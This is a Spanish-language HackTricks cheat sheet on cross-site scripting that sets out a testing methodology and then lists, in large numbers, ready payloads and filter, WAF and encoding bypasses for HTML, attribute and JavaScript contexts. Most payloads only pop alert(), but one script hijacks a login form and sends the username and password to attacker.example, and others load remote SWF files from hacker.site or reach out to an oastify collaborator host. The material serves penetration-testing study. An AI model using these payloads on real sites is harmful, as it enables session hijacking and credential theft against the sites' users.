%.*s
XSS (Cross Site Scripting)
Reading time: 57 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Metodología
- Comprueba si algún valor que controlas (parameters, path, headers?, cookies?) está siendo reflejado en el HTML o usado por código JS.
- Encuentra el contexto donde se refleja/usa.
- Si está reflejado
- Comprueba qué símbolos puedes usar y, dependiendo de eso, prepara el payload:
- En raw HTML:
- ¿Puedes crear nuevas etiquetas HTML?
- ¿Puedes usar eventos o atributos que soporten el protocolo
javascript:
? - ¿Puedes bypassar protecciones?
- ¿El contenido HTML está siendo interpretado por algún motor JS del cliente (AngularJS, VueJS, Mavo...)? podrías abusar de un Client Side Template Injection.
- Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de un Dangling Markup - HTML scriptless injection?
- Dentro de una etiqueta HTML:
- ¿Puedes salir al contexto raw HTML?
- ¿Puedes crear nuevos eventos/atributos para ejecutar código JS?
- ¿El atributo en el que estás atrapado soporta ejecución de JS?
- ¿Puedes bypassar protecciones?
- Dentro de código JavaScript:
- ¿Puedes escapar la etiqueta
<script>
? - ¿Puedes escapar la cadena y ejecutar diferente código JS?
- ¿Tu input está en template literals ``?
- ¿Puedes bypassar protecciones?
- Función de Javascript siendo ejecutada
- Puedes indicar el nombre de la función a ejecutar. e.g.:
?callback=alert(1)
- Si está usado:
- Podrías explotar un DOM XSS, presta atención a cómo se controla tu input y si tu input controlado es usado por algún sink.
Cuando trabajes en un XSS complejo podría interesarte saber sobre:
Reflected values
Para explotar exitosamente un XSS lo primero que necesitas encontrar es un valor controlado por ti que esté siendo reflejado en la página web.
- Intermediately reflected: Si descubres que el valor de un parámetro o incluso la ruta se refleja en la página web podrías explotar una Reflected XSS.
- Stored and reflected: Si encuentras que un valor controlado por ti se guarda en el servidor y se refleja cada vez que accedes a una página podrías explotar una Stored XSS.
- Accessed via JS: Si encuentras que un valor controlado por ti es accedido usando JS podrías explotar un DOM XSS.
Contextos
Al intentar explotar un XSS lo primero que necesitas saber es dónde se refleja tu input. Dependiendo del contexto, podrás ejecutar código JS arbitrario de diferentes maneras.
HTML sin procesar
Si tu input se refleja en el HTML sin procesar de la página necesitarás abusar de alguna etiqueta HTML para ejecutar código JS: <img , <iframe , <svg , <script
... estos son solo algunos de los muchos posibles tags HTML que podrías usar.
Además, ten en cuenta Client Side Template Injection.
Dentro del atributo de una etiqueta HTML
Si tu input se refleja dentro del valor de un atributo de una etiqueta podrías intentar:
- Escapar del atributo y de la etiqueta (entonces estarás en el raw HTML) y crear una nueva etiqueta HTML para abusar:
"><img [...]
- Si puedes escapar del atributo pero no de la etiqueta (
>
está codificado o eliminado), dependiendo de la etiqueta podrías crear un evento que ejecute código JS:" autofocus onfocus=alert(1) x="
- Si no puedes escapar del atributo (
"
está siendo codificado o eliminado), entonces dependiendo de qué atributo refleja tu valor si controlas todo el valor o solo una parte podrás abusar de él. Por ejemplo, si controlas un event comoonclick=
podrás hacer que ejecute código arbitrario cuando se haga click. Otro ejemplo interesante es el atributohref
, donde puedes usar el protocolojavascript:
para ejecutar código arbitrario:href="javascript:alert(1)"
- Si tu input se refleja dentro de "tags no explotables" podrías probar el truco del
accesskey
para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotarlo):" accesskey="x" onclick="alert(1)" x="
Ejemplo extraño de Angular ejecutando XSS si controlas un nombre de clase:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Dentro del código JavaScript
In this case your input is reflected between <script> [...] </script>
tags of a HTML page, inside a .js
file or inside an attribute using javascript:
protocol:
- If reflected between
<script> [...] </script>
tags, even if your input if inside any kind of quotes, you can try to inject</script>
and escape from this context. This works because the browser will first parse the HTML tags and then the content, therefore, it won't notice that your injected</script>
tag is inside the HTML code. - If reflected inside a JS string and the last trick isn't working you would need to exit the string, execute your code and reconstruct the JS code (if there is any error, it won't be executed:
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- If reflected inside template literals you can embed JS expressions using
${ ... }
syntax:var greetings = `Hello, ${alert(1)}`
- Unicode encode funciona para escribir código javascript válido:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting se refiere a la posibilidad de declarar funciones, variables o clases después de que se usan, de modo que puedes abusar de escenarios donde un XSS está usando variables o funciones no declaradas.
Consulta la siguiente página para más información:
Javascript Function
Varias páginas web tienen endpoints que aceptan como parámetro el nombre de la función a ejecutar. Un ejemplo común en entornos reales es algo como: ?callback=callbackFunc
.
Una buena forma de averiguar si algo proporcionado directamente por el usuario intenta ser ejecutado es modificar el valor del parámetro (por ejemplo a 'Vulnerable') y buscar en la consola errores como:
Si es vulnerable, podrías ser capaz de disparar un alert simplemente enviando el valor: ?callback=alert(1)
. Sin embargo, es muy común que estos endpoints validen el contenido para permitir solo letras, números, puntos y guiones bajos ([\w\._]
).
Sin embargo, incluso con esa limitación aún es posible realizar algunas acciones. Esto se debe a que puedes usar esos caracteres válidos para acceder a cualquier elemento del DOM:
Algunas funciones útiles para esto:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
También puedes intentar invocar funciones Javascript directamente: obj.sales.delOrders
.
Sin embargo, por lo general los endpoints que ejecutan la función indicada son endpoints sin un DOM muy interesante, otras páginas del mismo origen tendrán un DOM más interesante para realizar más acciones.
Por lo tanto, para abusar de esta vulnerabilidad en un DOM diferente se desarrolló la explotación Same Origin Method Execution (SOME):
SOME - Same Origin Method Execution
DOM
Hay JS code que está utilizando de forma insegura algunos datos controlados por un atacante como location.href
. Un atacante podría abusar de esto para ejecutar código JS arbitrario.
Universal XSS
Estos tipos de XSS pueden encontrarse en cualquier lugar. No dependen únicamente de la explotación del cliente de una aplicación web sino de cualquier contexto. Estos tipos de ejecución arbitraria de JavaScript incluso pueden usarse para obtener RCE, leer archivos arbitrarios en clientes y servidores, y más.
Algunos ejemplos:
WAF bypass encoding image
Injecting inside raw HTML
Cuando tu input se refleja dentro de la página HTML o puedes escapar e inyectar código HTML en este contexto, lo primero que necesitas hacer es comprobar si puedes abusar de <
para crear nuevas etiquetas: simplemente intenta reflejar ese carácter y comprueba si está siendo codificado en HTML o eliminado o si se refleja sin cambios. Solo en este último caso podrás explotar esta situación.
Para estos casos también ten en cuenta Client Side Template Injection.
Nota: A HTML comment can be closed using****-->
****or **--!>
**
En este caso y si no se usa black/whitelisting, podrías usar payloads como:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Pero, si se está utilizando black/whitelisting de etiquetas/atributos, necesitarás brute-force qué etiquetas puedes crear.\
Una vez que hayas localizado qué etiquetas están permitidas, tendrás que brute-force atributos/eventos dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto.
Etiquetas/Eventos brute-force
Ve a https://portswigger.net/web-security/cross-site-scripting/cheat-sheet y haz clic en Copy tags to clipboard. Luego, envíalos todos usando Burp intruder y comprueba si alguna etiqueta no fue detectada como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes brute force all the events usando las etiquetas válidas (en la misma página web haz clic en Copy events to clipboard y sigue el mismo procedimiento que antes).
Etiquetas personalizadas
Si no encontraste ninguna etiqueta HTML válida, podrías intentar crear una etiqueta personalizada y ejecutar código JS con el atributo onfocus
. En la petición XSS, necesitas terminar la URL con #
para que la página haga foco en ese objeto y ejecute el código:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Si se está usando algún tipo de blacklist, podrías intentar evadirla con algunos trucos tontos:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > Más tiny XSS para diferentes entornos payload can be found here y here.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
La última está usando 2 caracteres unicode que se expanden a 5: telsr
Más de estos caracteres se pueden encontrar here.
Para comprobar en qué caracteres se descomponen revisa here.
Click XSS - Clickjacking
Si para explotar la vulnerabilidad necesitas que el usuario haga clic en un enlace o en un formulario con datos prepopulados podrías intentar abuse Clickjacking (si la página es vulnerable).
Impossible - Dangling Markup
Si piensas que es imposible crear una etiqueta HTML con un atributo para ejecutar JS code, deberías revisar Danglig Markup porque podrías exploit la vulnerabilidad sin ejecutar JS code.
Inyectando dentro de la etiqueta HTML
Dentro de la etiqueta/escapando del valor del atributo
Si estás dentro de una etiqueta HTML, lo primero que podrías intentar es escapar de la etiqueta y usar algunas de las técnicas mencionadas en la previous section para ejecutar código JS.
Si no puedes escapar de la etiqueta, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo usando un payload como (nota que en este ejemplo se usan comillas dobles para escapar del atributo, no las necesitarás si tu input se refleja directamente dentro de la etiqueta):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Eventos de estilo
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Dentro del atributo
Incluso si no puedes escapar del atributo ("
está siendo codificado o eliminado), dependiendo de en qué atributo se refleja tu valor y si controlas todo el valor o solo una parte podrás abusar de él. Por ejemplo, si controlas un evento como onclick=
podrás hacer que ejecute código arbitrario cuando se haga clic.
Otro ejemplo interesante es el atributo href
, donde puedes usar el protocolo javascript:
para ejecutar código arbitrario: href="javascript:alert(1)"
Bypass inside event using HTML encoding/URL encode
Los caracteres codificados en HTML dentro del valor de los atributos de las etiquetas HTML se decodifican en tiempo de ejecución. Por lo tanto algo como lo siguiente será válido (la payload está en negrita): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Go Back </a>
Ten en cuenta que cualquier tipo de codificación HTML es válida:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Tenga en cuenta que URL encode también funcionará:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass dentro del evento usando Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Protocolos especiales dentro del atributo
Ahí puedes usar los protocolos javascript:
o data:
en algunos lugares para ejecutar código JS arbitrario. Algunos requerirán interacción del usuario y otros no.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Lugares donde puedes inyectar estos protocolos
En general el protocolo javascript:
puede usarse en cualquier etiqueta que acepte el atributo href
y en la mayoría de las etiquetas que aceptan el atributo src
(pero no <img>
)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Otras técnicas de ofuscación
En este caso, el truco de codificación HTML y el truco de codificación Unicode de la sección anterior también es válido, ya que estás dentro de un atributo.
<a href="javascript:var a=''-alert(1)-''">
Además, hay otro truco útil para estos casos: Incluso si tu entrada dentro de javascript:...
está siendo URL encoded, será URL decoded antes de ser ejecutado. Así que, si necesitas escape del string usando un single quote y ves que está siendo URL encoded, recuerda que no importa, será interpretado como un single quote durante el tiempo de ejecución.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Ten en cuenta que si intentas usar ambos URLencode + HTMLencode
en cualquier orden para codificar el payload no funcionará, pero puedes mezclarlos dentro del payload.
Usando Hex y Octal encode con javascript:
Puedes usar Hex y Octal encode dentro del atributo src
de iframe
(al menos) para declarar etiquetas HTML para ejecutar JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Si puedes inyectar cualquier URL en una <a href=
arbitraria que contenga los atributos target="_blank" and rel="opener"
, consulta la siguiente página para explotar este comportamiento:
Bypass de "on" Event Handlers
Primero revisa esta página (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) para obtener "on" event handlers útiles.
Si existe una blacklist que te impide crear estos event handlers, puedes probar los siguientes bypasses:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS en "etiquetas no explotables" (hidden input, link, canonical, meta)
Desde aquí ahora es posible abusar de los hidden inputs con:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
Y en meta tags:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Desde here: Puedes ejecutar un XSS payload inside a hidden attribute, siempre que puedas persuadir a la víctima para que presione la combinación de teclas. En Firefox (Windows/Linux) la combinación de teclas es ALT+SHIFT+X y en OS X es CTRL+ALT+X. Puedes especificar una combinación de teclas diferente usando una tecla distinta en el access key attribute. Aquí está el vector:
<input type="hidden" accesskey="X" onclick="alert(1)">
The XSS payload will be something like this: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Se expusieron varios trucos usando diferentes codificaciones ya dentro de esta sección. Vuelve atrás para aprender dónde puedes usar:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1)
- URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Lee la Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Lee la JavaScript bypass blacklist of the following section.
CSS-Gadgets
Si encuentras un XSS en una parte muy pequeña del sitio que requiere algún tipo de interacción (tal vez un pequeño enlace en el pie de página con un elemento onmouseover), puedes intentar modificar el espacio que ocupa ese elemento para maximizar la probabilidad de que el enlace se dispare.
Por ejemplo, podrías añadir algo de estilo al elemento como: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Pero, si el WAF está filtrando el atributo style, puedes usar CSS Styling Gadgets, así que si encuentras, por ejemplo
.test {display:block; color: blue; width: 100%}
y
#someid {top: 0; font-family: Tahoma;}
Ahora puedes modificar el enlace y llevarlo a la forma
<a href="" id=someid class=test onclick=alert() a="">
Este truco fue tomado de https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Inyectando dentro del código JavaScript
En estos casos tu input va a ser reflejado dentro del código JS de un archivo .js
o entre etiquetas <script>...</script>
o entre eventos HTML que pueden ejecutar código JS o entre atributos que aceptan el protocolo javascript:
.
Escapando la etiqueta <script>
Si tu código se inserta dentro de <script> [...] var input = 'reflected data' [...] </script>
podrías fácilmente escapar cerrando la etiqueta <script>
:
</script><img src=1 onerror=alert(document.domain)>
Ten en cuenta que en este ejemplo ni siquiera hemos cerrado la comilla simple. Esto se debe a que el análisis de HTML se realiza primero por el navegador, lo que implica identificar los elementos de la página, incluidos los bloques de script. El análisis de JavaScript para entender y ejecutar los scripts incrustados solo se realiza después.
Dentro del código JS
Si <>
están siendo sanitizados puedes aún escapar la cadena donde se está ubicando tu entrada y ejecutar JS arbitrario. Es importante corregir la sintaxis de JS, porque si hay errores, el código JS no se ejecutará:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Cuando la entrada del usuario cae dentro de una cadena JavaScript entre comillas (p. ej., eco del lado del servidor dentro de un script en línea), puedes terminar la cadena, inyectar código y reparar la sintaxis para que el parseo siga siendo válido. Esqueleto genérico:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Ejemplo de patrón de URL cuando el parámetro vulnerable se refleja en una cadena JS:
?param=test";<INJECTION>;a="
Esto ejecuta JS del atacante sin necesidad de tocar el contexto HTML (pure JS-in-JS). Combínalo con blacklist bypasses más abajo cuando los filtros bloqueen palabras clave.
Literales de plantilla ``
Para construir cadenas además de comillas simples y dobles, JS también acepta backticks ``
. Esto se conoce como literales de plantilla ya que permiten incrustar expresiones JS usando la sintaxis ${ ... }
.\
Por lo tanto, si descubres que tu entrada está siendo reflejada dentro de una cadena JS que usa backticks, puedes abusar de la sintaxis ${ ... }
para ejecutar código JS arbitrario:
Esto puede ser abusado usando:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Ejecución de código codificado
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Entregable payloads con eval(atob()) y matices de ámbito
Para mantener las URLs más cortas y eludir filtros de palabras clave ingenuos, puedes codificar en base64 tu lógica real y evaluarla con eval(atob('...'))
. Si el filtrado simple por palabras clave bloquea identificadores como alert
, eval
o atob
, usa identificadores con escapes Unicode que compilan de forma idéntica en el navegador pero evaden filtros de coincidencia de cadenas:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Matiz importante sobre el alcance: const
/let
declarados dentro de eval()
tienen alcance de bloque y NO crean globales; no serán accesibles para scripts posteriores. Usa un elemento <script>
inyectado dinámicamente para definir hooks globales no re-asignables cuando sea necesario (p. ej., para hijack un form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Referencia: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Codificar Unicode para ejecución JS
alert(1)
alert(1)
alert(1)
Técnicas de bypass de blacklists en JavaScript
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Secuencias de escape especiales
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Sustituciones de espacios dentro de JS code
<TAB>
/**/
JavaScript comments (de JavaScript Comments truco)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (de JavaScript new line truco)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
Espacios en blanco en JavaScript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript dentro de un comentario
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript sin paréntesis
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Llamada arbitraria a la función (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
